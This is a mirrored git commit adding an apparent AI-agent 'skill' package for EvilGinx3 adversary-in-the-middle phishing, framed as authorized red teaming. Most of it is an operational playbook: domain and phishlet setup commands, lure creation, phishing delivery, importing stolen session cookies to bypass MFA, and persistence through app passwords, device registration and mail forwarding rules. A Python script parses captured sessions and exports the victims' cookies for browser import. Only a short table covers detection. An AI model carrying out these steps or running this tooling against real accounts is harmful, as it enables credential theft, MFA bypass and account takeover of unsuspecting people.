mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-13 05:43:19 +03:00
Initial commit - 611 cybersecurity skills across all subdomains
This commit is contained in:
@@ -0,0 +1,149 @@
|
||||
---
|
||||
name: performing-initial-access-with-evilginx3
|
||||
description: Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.
|
||||
domain: cybersecurity
|
||||
subdomain: red-teaming
|
||||
tags: [red-team, initial-access, phishing, evilginx, mfa-bypass, adversary-in-the-middle, credential-theft]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: MIT
|
||||
---
|
||||
# Performing Initial Access with EvilGinx3
|
||||
|
||||
## Overview
|
||||
|
||||
EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.
|
||||
|
||||
## Objectives
|
||||
|
||||
- Deploy EvilGinx3 with custom phishlets targeting authorized scope
|
||||
- Configure DNS and SSL certificates for the phishing domain
|
||||
- Capture session tokens that bypass MFA protections
|
||||
- Import stolen session cookies into a browser to hijack authenticated sessions
|
||||
- Integrate with GoPhish or custom delivery mechanisms for phishing email campaigns
|
||||
- Document the complete attack chain from phishing email to authenticated access
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
- **T1566.002** - Phishing: Spearphishing Link
|
||||
- **T1557** - Adversary-in-the-Middle
|
||||
- **T1539** - Steal Web Session Cookie
|
||||
- **T1078** - Valid Accounts
|
||||
- **T1556** - Modify Authentication Process
|
||||
- **T1550.004** - Use Alternate Authentication Material: Web Session Cookie
|
||||
|
||||
## Implementation Steps
|
||||
|
||||
### Phase 1: Infrastructure Setup
|
||||
1. Register a convincing lookalike domain (e.g., using homoglyphs or typosquatting)
|
||||
2. Provision a VPS and point the domain's DNS A record to the server IP
|
||||
3. Install EvilGinx3:
|
||||
```bash
|
||||
git clone https://github.com/kgretzky/evilginx2.git
|
||||
cd evilginx2
|
||||
make
|
||||
sudo ./bin/evilginx -p ./phishlets
|
||||
```
|
||||
4. Configure the domain and IP in EvilGinx3:
|
||||
```
|
||||
config domain example-phish.com
|
||||
config ipv4 <server-ip>
|
||||
```
|
||||
5. EvilGinx3 automatically provisions Let's Encrypt certificates for configured hostnames
|
||||
|
||||
### Phase 2: Phishlet Configuration
|
||||
1. Select or create a phishlet for the target service (e.g., Microsoft 365, Google Workspace):
|
||||
```
|
||||
phishlets hostname o365 login.example-phish.com
|
||||
phishlets enable o365
|
||||
```
|
||||
2. Verify phishlet is active and SSL certificate is issued:
|
||||
```
|
||||
phishlets
|
||||
```
|
||||
3. Create a lure URL for the phishing campaign:
|
||||
```
|
||||
lures create o365
|
||||
lures get-url 0
|
||||
```
|
||||
4. Optionally configure a redirect URL for post-capture:
|
||||
```
|
||||
lures edit 0 redirect_url https://legitimate-site.com
|
||||
```
|
||||
|
||||
### Phase 3: Phishing Delivery
|
||||
1. Craft a pretext email with the lure URL embedded
|
||||
2. Use GoPhish or manual SMTP for email delivery:
|
||||
```
|
||||
# Integration with EvilGoPhish for combined campaigns
|
||||
# Provides GoPhish email tracking + EvilGinx3 credential capture
|
||||
```
|
||||
3. Implement URL masking or shortening if needed for link obfuscation
|
||||
4. Deploy landing page with appropriate social engineering pretext
|
||||
|
||||
### Phase 4: Session Hijacking
|
||||
1. Monitor EvilGinx3 for captured sessions:
|
||||
```
|
||||
sessions
|
||||
sessions <session-id>
|
||||
```
|
||||
2. Extract captured session cookies from the session:
|
||||
```
|
||||
# Session output includes:
|
||||
# - Username and password
|
||||
# - Session cookies (authentication tokens)
|
||||
# - Custom captured parameters
|
||||
```
|
||||
3. Import session cookies into a browser using a cookie editor extension:
|
||||
- Export cookies in JSON format
|
||||
- Use Cookie-Editor or EditThisCookie browser extension
|
||||
- Navigate to the target service to validate session hijack
|
||||
4. Establish persistent access by creating application passwords or OAuth tokens
|
||||
|
||||
### Phase 5: Post-Access Activities
|
||||
1. Enumerate mailbox contents, contacts, and shared drives
|
||||
2. Identify additional targets for lateral phishing
|
||||
3. Check for access to connected cloud applications (SharePoint, Teams, OneDrive)
|
||||
4. Document all captured credentials and access achieved
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose | Platform |
|
||||
|------|---------|----------|
|
||||
| EvilGinx3 | AiTM phishing framework | Linux |
|
||||
| GoPhish | Phishing campaign management | Cross-platform |
|
||||
| EvilGoPhish | Combined EvilGinx3 + GoPhish integration | Linux |
|
||||
| Cookie-Editor | Browser cookie import/export | Browser Extension |
|
||||
| Modlishka | Alternative AiTM proxy framework | Linux |
|
||||
| Muraena | Alternative AiTM phishing proxy | Linux |
|
||||
|
||||
## Phishlet Targets
|
||||
|
||||
| Target Service | Phishlet | Captured Data |
|
||||
|---------------|----------|---------------|
|
||||
| Microsoft 365 | o365 | Session cookies, credentials |
|
||||
| Google Workspace | google | Session cookies, credentials |
|
||||
| Okta | okta | Session tokens, credentials |
|
||||
| GitHub | github | Session cookies, credentials |
|
||||
| AWS Console | aws | Session tokens, credentials |
|
||||
|
||||
## Detection Indicators
|
||||
|
||||
| Indicator | Detection Method |
|
||||
|-----------|-----------------|
|
||||
| Newly registered lookalike domains | Domain monitoring and certificate transparency logs |
|
||||
| SSL certificates for suspicious domains | CT log monitoring (crt.sh, Censys) |
|
||||
| Unusual login locations after phishing | SIEM correlation of authentication events |
|
||||
| Session cookie replay from different IP | Conditional access policy alerts |
|
||||
| AiTM proxy headers in traffic | Network inspection for proxy artifacts |
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] EvilGinx3 deployed with valid SSL certificates
|
||||
- [ ] Phishlet configured and enabled for target service
|
||||
- [ ] Lure URL generated and accessible
|
||||
- [ ] Test credentials captured successfully through phishing flow
|
||||
- [ ] Session cookies captured and validated for MFA bypass
|
||||
- [ ] Session hijack demonstrated in browser with stolen cookies
|
||||
- [ ] Post-authentication access to target service confirmed
|
||||
- [ ] Evidence documented with screenshots and session logs
|
||||
@@ -0,0 +1,55 @@
|
||||
# EvilGinx3 Phishing Campaign Template
|
||||
|
||||
## Campaign Information
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Campaign Name | |
|
||||
| Target Organization | |
|
||||
| Authorization Reference | |
|
||||
| Target Service | Microsoft 365 / Google / Okta / Other |
|
||||
| Start Date | |
|
||||
| End Date | |
|
||||
|
||||
## Infrastructure
|
||||
|
||||
| Component | Details |
|
||||
|-----------|---------|
|
||||
| Phishing Domain | |
|
||||
| Server IP | |
|
||||
| Phishlet | |
|
||||
| SSL Certificate | Let's Encrypt (auto) |
|
||||
| Redirector | Yes / No |
|
||||
|
||||
## Target List
|
||||
|
||||
| # | Email | Department | Pretext |
|
||||
|---|-------|------------|---------|
|
||||
| 1 | | | |
|
||||
| 2 | | | |
|
||||
|
||||
## Session Captures
|
||||
|
||||
| # | Session ID | Username | Cookies Captured | Time | MFA Bypassed |
|
||||
|---|-----------|----------|-----------------|------|--------------|
|
||||
| 1 | | | Yes / No | | Yes / No |
|
||||
|
||||
## Results Summary
|
||||
|
||||
| Metric | Value |
|
||||
|--------|-------|
|
||||
| Emails Sent | |
|
||||
| Emails Opened | |
|
||||
| Links Clicked | |
|
||||
| Credentials Captured | |
|
||||
| Sessions Hijacked | |
|
||||
| MFA Bypassed | |
|
||||
|
||||
## Evidence Checklist
|
||||
|
||||
- [ ] Phishing email screenshot
|
||||
- [ ] EvilGinx3 session capture output
|
||||
- [ ] Cookie export file
|
||||
- [ ] Browser session hijack screenshot
|
||||
- [ ] Post-authentication access evidence
|
||||
- [ ] Target mailbox/resource access proof
|
||||
@@ -0,0 +1,32 @@
|
||||
# Standards and References - EvilGinx3 Initial Access
|
||||
|
||||
## MITRE ATT&CK References
|
||||
|
||||
| Technique ID | Name | Tactic |
|
||||
|-------------|------|--------|
|
||||
| T1566.002 | Phishing: Spearphishing Link | Initial Access |
|
||||
| T1557 | Adversary-in-the-Middle | Credential Access |
|
||||
| T1539 | Steal Web Session Cookie | Credential Access |
|
||||
| T1078 | Valid Accounts | Initial Access, Persistence |
|
||||
| T1556 | Modify Authentication Process | Credential Access |
|
||||
| T1550.004 | Use Alternate Authentication Material: Web Session Cookie | Lateral Movement |
|
||||
|
||||
## Industry Standards
|
||||
|
||||
- **PTES** - Pre-Engagement and Intelligence Gathering phases
|
||||
- **OWASP Testing Guide** - Authentication Testing
|
||||
- **NIST SP 800-63B** - Digital Identity Guidelines: Authentication
|
||||
- **CISA Advisory AA22-277A** - Threat Actors Exploiting MFA Bypass Techniques
|
||||
|
||||
## Official Resources
|
||||
|
||||
- EvilGinx Project: https://github.com/kgretzky/evilginx2
|
||||
- GoPhish: https://getgophish.com/
|
||||
- EvilGoPhish: https://github.com/fin3ss3g0d/evilgophish
|
||||
- Certificate Transparency Logs: https://crt.sh
|
||||
|
||||
## Research Papers
|
||||
|
||||
- Microsoft Storm-1167 AiTM Phishing Campaign Analysis (2023)
|
||||
- Deepwatch: Catching the Phish - Detecting Evilginx & AiTM
|
||||
- BDO Security: MFA-Phishing as Initial Access in Red Teaming
|
||||
@@ -0,0 +1,60 @@
|
||||
# Workflows - EvilGinx3 Initial Access
|
||||
|
||||
## End-to-End AiTM Phishing Workflow
|
||||
|
||||
```
|
||||
1. Reconnaissance
|
||||
├── Identify target authentication service (M365, Google, Okta)
|
||||
├── Analyze target MFA implementation (SMS, Authenticator, FIDO2)
|
||||
├── Register lookalike domain with appropriate TLD
|
||||
└── Categorize domain to avoid URL filtering
|
||||
|
||||
2. Infrastructure Setup
|
||||
├── Deploy VPS and configure DNS records
|
||||
├── Install and configure EvilGinx3
|
||||
├── Enable phishlet for target service
|
||||
├── Verify SSL certificate provisioning
|
||||
└── Create and test lure URLs
|
||||
|
||||
3. Phishing Delivery
|
||||
├── Craft pretext email with social engineering
|
||||
├── Configure GoPhish or SMTP relay for delivery
|
||||
├── Send phishing emails to authorized targets
|
||||
└── Monitor delivery and open rates
|
||||
|
||||
4. Credential and Session Capture
|
||||
├── Monitor EvilGinx3 session dashboard
|
||||
├── Capture credentials as victims authenticate
|
||||
├── Capture session cookies (MFA bypass tokens)
|
||||
└── Export session data for exploitation
|
||||
|
||||
5. Session Hijacking
|
||||
├── Import session cookies into attacker browser
|
||||
├── Navigate to target service with hijacked session
|
||||
├── Validate access to victim's account
|
||||
└── Enumerate accessible resources
|
||||
|
||||
6. Persistence and Escalation
|
||||
├── Create application-specific passwords
|
||||
├── Register attacker device in Azure AD / Entra ID
|
||||
├── Add OAuth application consents
|
||||
└── Establish email forwarding rules for persistence
|
||||
|
||||
7. Reporting
|
||||
├── Document attack chain with evidence
|
||||
├── Record number of successful captures
|
||||
├── Identify defensive gaps exploited
|
||||
└── Provide remediation recommendations
|
||||
```
|
||||
|
||||
## Cookie Import Workflow
|
||||
|
||||
```
|
||||
1. From EvilGinx3 session output, copy cookie data
|
||||
2. Open browser with Cookie-Editor extension
|
||||
3. Navigate to target service login page
|
||||
4. Clear existing cookies for the domain
|
||||
5. Import captured cookies via Cookie-Editor
|
||||
6. Refresh the page to obtain authenticated session
|
||||
7. Verify access to victim's account
|
||||
```
|
||||
@@ -0,0 +1,180 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
EvilGinx3 Session Analysis and Cookie Export Script
|
||||
|
||||
Parses EvilGinx3 session data and prepares cookies for browser import.
|
||||
For authorized red team engagements only.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
import os
|
||||
import re
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def parse_evilginx_session(session_data: str) -> dict:
|
||||
"""Parse raw EvilGinx3 session output into structured data."""
|
||||
session = {
|
||||
"id": "",
|
||||
"phishlet": "",
|
||||
"username": "",
|
||||
"password": "",
|
||||
"landing_url": "",
|
||||
"useragent": "",
|
||||
"remote_addr": "",
|
||||
"create_time": "",
|
||||
"update_time": "",
|
||||
"tokens": [],
|
||||
"custom": {}
|
||||
}
|
||||
|
||||
lines = session_data.strip().split("\n")
|
||||
for line in lines:
|
||||
line = line.strip()
|
||||
if line.startswith("id:"):
|
||||
session["id"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("phishlet:"):
|
||||
session["phishlet"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("username:"):
|
||||
session["username"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("password:"):
|
||||
session["password"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("landing_url:"):
|
||||
session["landing_url"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("useragent:"):
|
||||
session["useragent"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("remote_addr:"):
|
||||
session["remote_addr"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("create_time:"):
|
||||
session["create_time"] = line.split(":", 1)[1].strip()
|
||||
elif line.startswith("update_time:"):
|
||||
session["update_time"] = line.split(":", 1)[1].strip()
|
||||
|
||||
return session
|
||||
|
||||
|
||||
def extract_cookies_from_tokens(token_data: str) -> list:
|
||||
"""Extract cookies from EvilGinx3 token capture data."""
|
||||
cookies = []
|
||||
cookie_pattern = re.compile(
|
||||
r'name:\s*"?([^"\n]+)"?\s*.*?'
|
||||
r'value:\s*"?([^"\n]+)"?\s*.*?'
|
||||
r'domain:\s*"?([^"\n]+)"?\s*.*?'
|
||||
r'path:\s*"?([^"\n]+)"?',
|
||||
re.DOTALL
|
||||
)
|
||||
|
||||
for match in cookie_pattern.finditer(token_data):
|
||||
cookie = {
|
||||
"name": match.group(1).strip(),
|
||||
"value": match.group(2).strip(),
|
||||
"domain": match.group(3).strip(),
|
||||
"path": match.group(4).strip(),
|
||||
"secure": True,
|
||||
"httpOnly": True,
|
||||
"sameSite": "None"
|
||||
}
|
||||
cookies.append(cookie)
|
||||
|
||||
return cookies
|
||||
|
||||
|
||||
def export_cookies_for_browser(cookies: list, output_format: str = "json") -> str:
|
||||
"""Export cookies in a format importable by browser extensions."""
|
||||
if output_format == "json":
|
||||
# Cookie-Editor compatible JSON format
|
||||
browser_cookies = []
|
||||
for cookie in cookies:
|
||||
browser_cookies.append({
|
||||
"name": cookie["name"],
|
||||
"value": cookie["value"],
|
||||
"domain": cookie["domain"],
|
||||
"path": cookie.get("path", "/"),
|
||||
"secure": cookie.get("secure", True),
|
||||
"httpOnly": cookie.get("httpOnly", True),
|
||||
"sameSite": cookie.get("sameSite", "None"),
|
||||
"expirationDate": None
|
||||
})
|
||||
return json.dumps(browser_cookies, indent=2)
|
||||
|
||||
elif output_format == "netscape":
|
||||
# Netscape cookie format for curl/wget
|
||||
lines = ["# Netscape HTTP Cookie File"]
|
||||
for cookie in cookies:
|
||||
lines.append(
|
||||
f"{cookie['domain']}\tTRUE\t{cookie.get('path', '/')}\t"
|
||||
f"{'TRUE' if cookie.get('secure') else 'FALSE'}\t0\t"
|
||||
f"{cookie['name']}\t{cookie['value']}"
|
||||
)
|
||||
return "\n".join(lines)
|
||||
|
||||
return ""
|
||||
|
||||
|
||||
def generate_session_report(session: dict, cookies: list) -> str:
|
||||
"""Generate a report of the captured session."""
|
||||
report = [
|
||||
"=" * 60,
|
||||
"EvilGinx3 Session Capture Report",
|
||||
f"Generated: {datetime.now().isoformat()}",
|
||||
"=" * 60,
|
||||
"",
|
||||
f"Session ID: {session.get('id', 'N/A')}",
|
||||
f"Phishlet: {session.get('phishlet', 'N/A')}",
|
||||
f"Target Username: {session.get('username', 'N/A')}",
|
||||
f"Capture Time: {session.get('create_time', 'N/A')}",
|
||||
f"Source IP: {session.get('remote_addr', 'N/A')}",
|
||||
f"User Agent: {session.get('useragent', 'N/A')}",
|
||||
"",
|
||||
f"Cookies Captured: {len(cookies)}",
|
||||
"",
|
||||
"Cookie Summary:",
|
||||
]
|
||||
|
||||
for i, cookie in enumerate(cookies):
|
||||
report.append(f" [{i+1}] {cookie['name']} @ {cookie['domain']}")
|
||||
|
||||
report.append("")
|
||||
report.append("=" * 60)
|
||||
return "\n".join(report)
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point for session analysis."""
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python process.py <session_file> [output_format]")
|
||||
print(" output_format: json (default) or netscape")
|
||||
print("")
|
||||
print("Example: python process.py session_capture.txt json")
|
||||
return
|
||||
|
||||
session_file = sys.argv[1]
|
||||
output_format = sys.argv[2] if len(sys.argv) > 2 else "json"
|
||||
|
||||
if not os.path.exists(session_file):
|
||||
print(f"Session file not found: {session_file}")
|
||||
return
|
||||
|
||||
with open(session_file, "r") as f:
|
||||
session_data = f.read()
|
||||
|
||||
session = parse_evilginx_session(session_data)
|
||||
cookies = extract_cookies_from_tokens(session_data)
|
||||
|
||||
report = generate_session_report(session, cookies)
|
||||
print(report)
|
||||
|
||||
if cookies:
|
||||
cookie_export = export_cookies_for_browser(cookies, output_format)
|
||||
output_file = f"cookies_export_{session.get('id', 'unknown')}.{output_format}"
|
||||
with open(output_file, "w") as f:
|
||||
f.write(cookie_export)
|
||||
print(f"Cookies exported to: {output_file}")
|
||||
else:
|
||||
print("No cookies found in session data.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user